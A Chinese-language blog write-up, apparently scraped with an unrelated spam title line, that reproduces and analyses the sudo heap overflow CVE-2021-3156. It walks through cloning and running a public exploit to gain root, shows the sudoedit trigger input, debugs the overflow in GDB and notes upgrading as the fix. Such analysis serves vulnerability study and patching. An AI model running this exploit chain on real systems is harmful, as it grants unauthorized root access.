做算命網(wǎng)站賺錢(qián)嗎百度瀏覽器下載官方免費(fèi)
文章目錄
- 前言
- 1、漏洞概述
- 2、漏洞復(fù)現(xiàn)
- 2.1、漏洞復(fù)現(xiàn)測(cè)試環(huán)境
- 2.2、漏洞復(fù)現(xiàn)具體步驟
- 3、漏洞原理
- 3.1、前置知識(shí)
- 3.1.1、sudo
- 3.1.2、sudoedit
- 3.1.3、轉(zhuǎn)義字符
- 3.2、漏洞分析
- 4、漏洞修復(fù)
- 5、參考文獻(xiàn)
- 總結(jié)
前言
??2021年01月27日,RedHat官方發(fā)布了Sudo緩沖區(qū)/棧溢出漏洞的風(fēng)險(xiǎn)通告,普通用戶(hù)可以通過(guò)利用此漏洞,而無(wú)需進(jìn)行身份驗(yàn)證,成功獲取Root權(quán)限。
1、漏洞概述
??1.9.5p2之前的Sudo包含一個(gè)off-by-one錯(cuò)誤,該錯(cuò)誤可能導(dǎo)致基于堆的緩沖區(qū)溢出,這允許通過(guò)sudoedit -s
和以單個(gè)反斜杠字符結(jié)尾的命令行參數(shù)將權(quán)限提升到root。關(guān)于此漏洞的詳細(xì)信息請(qǐng)參閱下表。關(guān)于此漏洞的更多信息,請(qǐng)參閱阿里云漏洞庫(kù)和NVD:
描述項(xiàng) | 具體值 |
---|---|
CVE編號(hào) | CVE-2021-3156 |
NVD評(píng)分 | 7.8 |
披露時(shí)間 | 2021-01-27 |
漏洞類(lèi)型 | 堆緩沖區(qū)溢出、Off-by-one錯(cuò)誤、跨界內(nèi)存寫(xiě) |
漏洞危害 | 本地提權(quán) |
影響范圍 | 1.8.2<sudo<1.8.31p2、1.9.0<sudo<1.9.5p1 |
是否有Patch | 無(wú) |
Patch是否可用 | |
數(shù)據(jù)保密性 | 無(wú)影響 |
數(shù)據(jù)完整性 | 無(wú)影響 |
攻擊路徑 | 本地 |
攻擊復(fù)雜度 | 容易 |
2、漏洞復(fù)現(xiàn)
2.1、漏洞復(fù)現(xiàn)測(cè)試環(huán)境
軟件環(huán)境 | 硬件環(huán)境 | 約束條件 |
---|---|---|
操作系統(tǒng)版本為ubuntu-18.04.5-desktop-amd64 | 分配4個(gè)處理器,每個(gè)處理器有4個(gè)內(nèi)核,處理器內(nèi)核總數(shù)為16 | 1.8.2<sudo<1.8.31p2 |
Linux內(nèi)核版本為5.4.0-42-generic | 內(nèi)存16GB | 1.9.0<sudo<1.9.5p1 |
使用的虛擬機(jī)管理器為VMware 17.0.0 | 硬盤(pán)400GB |
2.2、漏洞復(fù)現(xiàn)具體步驟
??首先去文件服務(wù)器中查找是否存在符合當(dāng)前漏洞條件的操作系統(tǒng)和Linux內(nèi)核版本的組合的虛擬機(jī)系統(tǒng),如果存在,則參考下文進(jìn)行漏洞復(fù)現(xiàn)。否則請(qǐng)參閱“POC驗(yàn)證環(huán)境搭建規(guī)范”一文搭建滿(mǎn)足當(dāng)前漏洞條件的操作系統(tǒng)和Linux內(nèi)核的組合的虛擬機(jī)系統(tǒng)并將其上傳到我們的服務(wù)器后,再參考下文進(jìn)行漏洞復(fù)現(xiàn)。
- 首先查看當(dāng)前Ubuntu系統(tǒng)的版本:
$ lsb_release -a
-
可以發(fā)現(xiàn)當(dāng)前Ubuntu系統(tǒng)的版本為18.04.5 LTS:
-
然后查看當(dāng)前Ubuntu系統(tǒng)的Linux內(nèi)核的版本:
$ uname -r
-
可以發(fā)現(xiàn)當(dāng)前Ubuntu系統(tǒng)的Linux內(nèi)核的版本為5.4.0-42-generic:
-
然后使用如下命令查看當(dāng)前系統(tǒng)中的sudo的版本:
$ sudo --version
-
可以發(fā)現(xiàn)當(dāng)前系統(tǒng)中的sudo的版本為1.8.21p2:
-
然后下載安裝POC/CVE驗(yàn)證所需要的軟件:
$ sudo apt-get update
$ sudo apt-get install git -y
$ sudo apt-get install make -y
$ sudo apt-get install gcc -y
$ sudo apt-get install g++ -y
- 然后來(lái)到當(dāng)前用戶(hù)的根目錄中,創(chuàng)建名為“CVE-2021-3156”的目錄,并進(jìn)入此目錄:
$ cd ~
$ mkdir CVE-2021-3156
$ cd CVE-2021-3156/
- 然后在名為“CVE-2021-3156”的目錄中下載Exploit源碼,并進(jìn)入其源碼目錄:
$ git clone https://github.com/blasty/CVE-2021-3156.git
$ cd CVE-2021-3156/
- 然后執(zhí)行如下命令來(lái)編譯源代碼以得到用于POC/CVE驗(yàn)證的二進(jìn)制文件:
$ make
- 然后使用如下命令查看上面的操作的結(jié)果:
$ ll
-
可以發(fā)現(xiàn),已經(jīng)成功得到了用于POC/CVE驗(yàn)證的二進(jìn)制文件:
-
然后在此目錄中繼續(xù)創(chuàng)建一個(gè)名為“run.sh”的文件,并編輯其:
$ touch run.sh
$ gedit run.sh
- 在打開(kāi)的文件中,輸入如下內(nèi)容。這些內(nèi)容就是用來(lái)自動(dòng)化和規(guī)范的來(lái)進(jìn)行POC/CVE的驗(yàn)證:
#!/bin/bash# Run script for CVE-2021-3156 exploit# Add any setup commands if needed
# Example: ./setup.sh# Run the exploit binary
./sudo-hax-me-a-sandwich 0# Add any cleanup commands if needed
# Example: rm -f some_fileecho "Script execution completed."
- 當(dāng)我們做完以上操作后,保存以上修改后退出,然后賦予“run.sh”腳本執(zhí)行權(quán)限,并執(zhí)行其以進(jìn)行POC/CVE的驗(yàn)證:
$ chmod +x run.sh
$ ./run.sh
-
執(zhí)行上面的命令后,發(fā)現(xiàn)已經(jīng)成功利用此Exploit獲取到了root用戶(hù)的權(quán)限:
-
我們可以使用如下命令進(jìn)一步驗(yàn)證當(dāng)前用戶(hù)的權(quán)限:
# whoami
- 可以發(fā)現(xiàn),已經(jīng)成功提權(quán):
3、漏洞原理
3.1、前置知識(shí)
3.1.1、sudo
??sudo(Superuser Do)是一個(gè)在Unix和類(lèi)Unix操作系統(tǒng)中用于以超級(jí)用戶(hù)(root用戶(hù))權(quán)限執(zhí)行命令的命令行工具。它允許系統(tǒng)管理員授權(quán)普通用戶(hù)執(zhí)行特定任務(wù),而不需要提供完整的超級(jí)用戶(hù)憑證。以下是關(guān)于sudo工具的一些關(guān)鍵特點(diǎn)和用法:
- 權(quán)限提升:允許普通用戶(hù)以超級(jí)用戶(hù)身份執(zhí)行特定的命令或訪(fǎng)問(wèn)受保護(hù)的文件,通常需要輸入用戶(hù)自己的密碼而不是超級(jí)用戶(hù)密碼。
- 安全性:提高系統(tǒng)的安全性,因?yàn)橛脩?hù)只有在需要時(shí)才能獲得超級(jí)用戶(hù)權(quán)限,并且所有的操作都可以被審計(jì)。
- 配置文件:可以通過(guò)配置文件(通常是“/etc/sudoers”)定義哪些用戶(hù)可以執(zhí)行哪些命令,以及在執(zhí)行這些命令時(shí)是否需要輸入密碼。
- 命令格式:
sudo
命令通常的格式為sudo [選項(xiàng)] 命令 [命令參數(shù)]
。例如,sudo ls /root
允許普通用戶(hù)以超級(jí)用戶(hù)權(quán)限列出“/root”目錄的內(nèi)容。
??請(qǐng)注意,sudo可以用于在終端中執(zhí)行單個(gè)命令,也可以使用sudo -s
或sudo su
來(lái)啟動(dòng)一個(gè)新的shell以獲取超級(jí)用戶(hù)權(quán)限,但這樣的使用需要謹(jǐn)慎,確保只有授權(quán)的用戶(hù)可以執(zhí)行。
3.1.2、sudoedit
??sudoedit是sudo
命令的一個(gè)別名,用于以超級(jí)用戶(hù)(root用戶(hù))權(quán)限編輯文件。它允許普通用戶(hù)在不需要完全切換到超級(jí)用戶(hù)賬戶(hù)的情況下,通過(guò)指定的文本編輯器編輯受保護(hù)的文件。以下是一些關(guān)于sudoedit
命令的一些關(guān)鍵特點(diǎn)和用法:
- 權(quán)限控制:允許普通用戶(hù)編輯系統(tǒng)中的文件,而不需要直接使用超級(jí)用戶(hù)權(quán)限。這有助于提高系統(tǒng)的安全性。
- 配置文件:類(lèi)似于
sudo
命令,sudoedit
命令的權(quán)限也可以通過(guò)配置文件(通常是“/etc/sudoers”)進(jìn)行定義和配置。 - 安全性:由于編輯器的選擇是通過(guò)配置文件中指定的,系統(tǒng)管理員可以限制用戶(hù)可以使用的編輯器,從而提高安全性。
- 命令格式:
sudoedit
命令的基本格式是sudoedit [選項(xiàng)] 文件
。例如,sudoedit /etc/hosts
命令允許用戶(hù)以超級(jí)用戶(hù)權(quán)限編輯“/etc/hosts”文件。 - 基本參數(shù):
-s
或--shell
:打開(kāi)一個(gè)新的shell,允許用戶(hù)以超級(jí)用戶(hù)權(quán)限執(zhí)行命令-h
或--help
:顯示sudoedit的幫助信息,列出可用選項(xiàng)和參數(shù)-V
或--version
:顯示sudoedit的版本信息-b
或--background
:在后臺(tái)模式下運(yùn)行編輯器。這對(duì)于在腳本或其他自動(dòng)化任務(wù)中使用sudoedit可能很有用
??使用sudoedit
命令時(shí),用戶(hù)通常會(huì)被要求輸入他們自己的密碼,而不是超級(jí)用戶(hù)密碼,以進(jìn)行身份驗(yàn)證。這使得sudoedit更加安全,因?yàn)橄到y(tǒng)可以追蹤哪個(gè)用戶(hù)以超級(jí)用戶(hù)權(quán)限編輯了哪些文件。
3.1.3、轉(zhuǎn)義字符
??轉(zhuǎn)義字符是一種用于表示一些特殊字符的機(jī)制,通常通過(guò)在字符前面加上反斜杠(\)來(lái)實(shí)現(xiàn)。轉(zhuǎn)義字符告訴解釋器或編譯器,后面的字符應(yīng)該以不同于其原始含義的方式被解釋。以下是一些常見(jiàn)的轉(zhuǎn)義字符及其用途:
- \n:換行符,用于在字符串中創(chuàng)建新的一行。
- \t:制表符,用于在字符串中插入水平制表符。
- \r:回車(chē)符,將光標(biāo)移動(dòng)到行首而不換行。
- ":雙引號(hào),用于在雙引號(hào)內(nèi)表示雙引號(hào)字符。
- ':單引號(hào),用于在單引號(hào)內(nèi)表示單引號(hào)字符。
- \:反斜杠,用于在字符串中表示反斜杠字符本身。
- \x:十六進(jìn)制轉(zhuǎn)義,用于表示一個(gè)字符的十六進(jìn)制值,例如\x41表示字符’A’。
??在編程語(yǔ)言和正則表達(dá)式等上下文中,轉(zhuǎn)義字符是為了能夠處理和表示特殊字符,以及避免與語(yǔ)言中的其他語(yǔ)法沖突。例如,在字符串中使用轉(zhuǎn)義字符可以讓你插入一些特殊的字符,而不會(huì)與字符串的邊界或其他字符產(chǎn)生歧義。需要注意的是:
- C語(yǔ)言中,\\表示\
- GDB中,\\表示\
3.2、漏洞分析
??為了分析CVE-2021-3156漏洞的原理,我們需要從sudo工具的源代碼級(jí)別對(duì)其進(jìn)行分析,還需要GDB對(duì)其進(jìn)行調(diào)試。我們以1.8.31p1版本的sudo工具的源代碼為例進(jìn)行分析(因?yàn)橄到y(tǒng)自帶的sudo工具沒(méi)有開(kāi)啟調(diào)試功能,故無(wú)法對(duì)其進(jìn)行分析,且1.8.31p1版本的sudo工具也存在CVE-2021-3156漏洞),當(dāng)前首先需要下載此版本的sudo工具的源代碼,并進(jìn)入其源代碼目錄中。
$ cd ~
$ wget https://www.sudo.ws/dist/sudo-1.8.31p1.tar.gz
$ tar xf sudo-1.8.31p1.tar.gz
$ cd sudo-1.8.31p1/
??然后我們打開(kāi)如下文件,來(lái)查看其中內(nèi)容。
$ gedit src/parse_args.c
??在打開(kāi)的文件中定位到第590~第591行(此部分代碼屬于名為“parse_args”的函數(shù)),這部分代碼添加了sudo命令對(duì)于特殊格式參數(shù)的轉(zhuǎn)義的處理,即如果參數(shù)不是數(shù)字或者字母,并且不是_
、-
、$
字符,則對(duì)其進(jìn)行轉(zhuǎn)義。
??然后我們關(guān)閉以上文件,并打開(kāi)如下文件,來(lái)查看其中內(nèi)容。
$ gedit plugins/sudoers/sudoers.c
??在打開(kāi)的文件中定位到第864~第871行(此部分代碼屬于名為“set_cmnd”的函數(shù)),這部分代碼的作用是去掉所有的轉(zhuǎn)義符\
,因?yàn)橥獠康妮斎雲(yún)?shù)最終需要保存到內(nèi)存中的堆或??臻g,而這個(gè)名為“set_cmnd”的函數(shù)就是為了將命令行參數(shù)復(fù)制到堆內(nèi)存,所以需要去掉所有的轉(zhuǎn)義符\
。我們今天討論的CVE-2021-3156漏洞源于此處的代碼。
??然后關(guān)閉以上文件即可。當(dāng)我們對(duì)上述兩個(gè)函數(shù)的作用有了一個(gè)清楚的認(rèn)識(shí)之后,現(xiàn)在假設(shè)當(dāng)我們執(zhí)行sudoedit -s '\'
python3 -c “print(‘A’*8)”``命令,會(huì)有兩種情況:
- 情況一:首先使用
parse_args
函數(shù)對(duì)命令中的\
進(jìn)行轉(zhuǎn)義,然后傳入set_cmnd
函數(shù)中消除轉(zhuǎn)義,這個(gè)過(guò)程是沒(méi)問(wèn)題的,最終可以正常執(zhí)行命令 - 情況二:不使用
parse_args
函數(shù)對(duì)命令中的\
進(jìn)行轉(zhuǎn)義,然后也會(huì)進(jìn)入set_cmnd
函數(shù)中消除轉(zhuǎn)義,不過(guò)此時(shí)在for
循環(huán)的拷貝過(guò)程中,由于輸入的參數(shù)只有一個(gè)\
,因?yàn)闆](méi)有對(duì)其進(jìn)行轉(zhuǎn)義,那么就會(huì)滿(mǎn)足if
判斷的條件,跳過(guò)\
,從而拷貝\
后面的參數(shù)到user_args
中,即’AAAAAAAA’(由于沒(méi)有轉(zhuǎn)義造成的第一次拷貝),當(dāng)使用while
循環(huán)拷貝完畢后,再次進(jìn)入for
循環(huán),又將’AAAAAAAA’拷貝到user_args
中(正常的第二次拷貝),那此時(shí)很明顯拷貝的數(shù)據(jù)已經(jīng)超過(guò)了user_args
的長(zhǎng)度,從而導(dǎo)出其發(fā)生堆溢出的情況,這樣我們就可以計(jì)算出對(duì)應(yīng)的溢出地址,對(duì)其插入shellcode,最終可以讓普通用戶(hù)提權(quán)
??下面我們將會(huì)使用GDB調(diào)試sudoedit -s '\'
python3 -c “print(‘A’*8)”``命令來(lái)復(fù)現(xiàn)這整個(gè)過(guò)程。需要注意的是,我們不能直接使用系統(tǒng)自帶的sudo工具來(lái)復(fù)現(xiàn)整個(gè)過(guò)程,因?yàn)槠錄](méi)有開(kāi)啟調(diào)試模式,我們得手動(dòng)編譯安裝sudo工具,并開(kāi)啟調(diào)試模式,這就要用到我們剛剛下載的sudo 1.8.31p1的源代碼了。
- 首先進(jìn)入剛剛下載的sudo 1.8.31p1的源代碼目錄中,開(kāi)啟
-g
選項(xiàng)來(lái)安裝此版本的sudo工具:
$ cd ~/sudo-1.8.31p1/
$ ./configure CFLAGS="-g"
$ make
$ sudo make install
$ sudo cp src/sudo /usr/bin/sudo
- 然后查看當(dāng)前系統(tǒng)中的sudo工具的版本:
$ sudo -V
-
可以發(fā)現(xiàn),當(dāng)前系統(tǒng)中的sudo工具的版本就是我們剛剛安裝的sudo工具的版本:
-
然后我們得安裝GDB:
$ sudo apt-get update
$ sudo apt-get install gdb -y
- 然后對(duì)
sudoedit -s '\'
python3 -c “print(‘A’*8)”``命令進(jìn)行調(diào)試:
$ sudo gdb --args sudoedit -s '\' `python3 -c "print('A'*8)"`
- 然后按照如下方式設(shè)置斷點(diǎn)。注:這里在設(shè)置斷點(diǎn)的時(shí)候可能會(huì)提示我們找不到目標(biāo)文件,這很正常,別擔(dān)心,因?yàn)閟udo工具的代碼是動(dòng)態(tài)加載的,我們只需要在這里設(shè)置好斷點(diǎn),后面當(dāng)我們調(diào)試程序的時(shí)候,目標(biāo)文件的代碼就會(huì)自動(dòng)加載進(jìn)來(lái)了:
(gdb) b main
(gdb) set follow-exec-mode new
(gdb) set breakpoint pending on
(gdb) b sudoers.c:858
(gdb) b sudoers.c:872
- 然后運(yùn)行程序,并繼續(xù)向下執(zhí)行程序直到斷點(diǎn):
(gdb) r
(gdb) c
- 當(dāng)我們遇到斷點(diǎn)后,查看
user_args
申請(qǐng)的內(nèi)存空間的大小:
(gdb) p size
-
可以發(fā)現(xiàn)此時(shí)
user_args
申請(qǐng)的內(nèi)存空間的大小為11,這符合常理,因?yàn)閰?shù)\
和參數(shù)AAAAAAAA
長(zhǎng)度一共為9,而每個(gè)字符串后面都還有\0
作為占位符表示當(dāng)前字符串結(jié)束,所以長(zhǎng)度一共為11=2+9:
-
我們可以查看一下此時(shí)
NewArgv
所指向的內(nèi)存空間中的具體值:
(gdb) p NewArgv[0]
(gdb) p NewArgv[1]
(gdb) p NewArgv[2]
-
可以發(fā)現(xiàn),此時(shí)
NewArgv
所指向的內(nèi)存空間中的具體值和我們預(yù)想的一樣:
-
經(jīng)過(guò)上面的分析,我們是通過(guò)以下代碼完成對(duì)
NewArgv[1]
和NewArgv[2]
中的數(shù)據(jù)到user_args
的拷貝:
if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;
- 以上代碼中的
from
就指向了NewArgv
,如果傳入的參數(shù)為\
,那么就會(huì)進(jìn)入上面的代碼段完成對(duì)參數(shù)的拷貝,不過(guò)此拷貝過(guò)程不會(huì)停止,因?yàn)橐恢倍紳M(mǎn)足if
判斷的條件,直到拷貝完參數(shù)AAAAAAAA
才結(jié)束這一輪的拷貝。所以我們重點(diǎn)關(guān)注NewArgv[1]
后面的值,因?yàn)?code>NewArgv[1]指向的內(nèi)存空間就存儲(chǔ)了傳入的參數(shù)\
:
(gdb) x/20xb 0x7ffe6a73d834
-
可以發(fā)現(xiàn),
NewArgv[1]
后面剛好是AAAAAAAA
,這就印證了我們的猜想:
-
然后查看一下此時(shí)(還沒(méi)有開(kāi)始拷貝)的
user_args
指向的內(nèi)存空間的地址,和其中的具體值:
(gdb) p sudo_user.cmnd_args
(gdb) x/8xg 0x55a1702eb6a0
-
可以發(fā)現(xiàn),此時(shí)
user_args
指向的內(nèi)存空間的地址為“0x55a1702eb6a0”,其中的具體值如下圖所示:
-
然后從此處的斷點(diǎn)繼續(xù)向下執(zhí)行程序來(lái)完成所有的拷貝過(guò)程,直到下一個(gè)斷點(diǎn):
(gdb) c
- 當(dāng)我們完成拷貝過(guò)程后,再次查看
user_args
指向的內(nèi)存空間中的具體值:
(gdb) x/8xg 0x55a1702eb6a0
-
可以發(fā)現(xiàn),參數(shù)
AAAAAAAA
被復(fù)制了兩次,這就驗(yàn)證了我們的猜想:
-
為了進(jìn)一步驗(yàn)證我們的猜想,我們來(lái)查看拷貝完成之后指針停留的內(nèi)存空間地址(即指針
to
指向的內(nèi)存空間的地址):
(gdb) p to
- 然后計(jì)算并打印拷貝完成后的內(nèi)存空間的大小:
(gdb) p 0x55a1702eb6b3-0x55a1702eb6a0
-
可以發(fā)現(xiàn),拷貝完成后的內(nèi)存空間的大小為19,剛好多了參數(shù)
AAAAAAAA
的長(zhǎng)度,即19=11+8。那么經(jīng)過(guò)以上分析,已經(jīng)成功驗(yàn)證了我們所有猜想,證明了CVE-2021-3156漏洞確實(shí)可以導(dǎo)致堆/棧溢出:
-
最后我們順序執(zhí)行如下命令結(jié)束本次調(diào)試即可(如果有提示輸入“y”或者“n”,我們只需要輸入“y”后按一下“Enter”即可):
(gdb) quit
4、漏洞修復(fù)
??下載升級(jí)sudo軟件包,下載鏈接為:https://www.sudo.ws/dist/
??……
??關(guān)于此漏洞補(bǔ)丁的詳細(xì)信息請(qǐng)參閱https://avd.aliyun.com/detail?id=AVD-2021-3156。
5、參考文獻(xiàn)
- 阿里云漏洞庫(kù)
- NVD
- Exploit
- CVE-2021-3156 漏洞復(fù)現(xiàn)
- 【CVE-2021-3156】linux sudo提權(quán)漏洞復(fù)現(xiàn)及修復(fù)
- cve-2021-3156-sudo堆溢出簡(jiǎn)單分析
- CVE-2021-3156分析
- CVE-2021-3156 sudo本地提權(quán)漏洞分析
- CVE-2021-3156調(diào)試分享
- Download Sudo | Sudo
- sudo版本升級(jí)以消除CVE-2021-3156
- 修復(fù)CVE-2021-3156漏洞的具體方法
總結(jié)
??以上就是關(guān)于CVE-2021-3156的全部?jī)?nèi)容了,后續(xù)還會(huì)帶來(lái)關(guān)于其它應(yīng)用漏洞的漏洞復(fù)現(xiàn)、原理分析以及漏洞修復(fù),我們下篇博客見(jiàn)!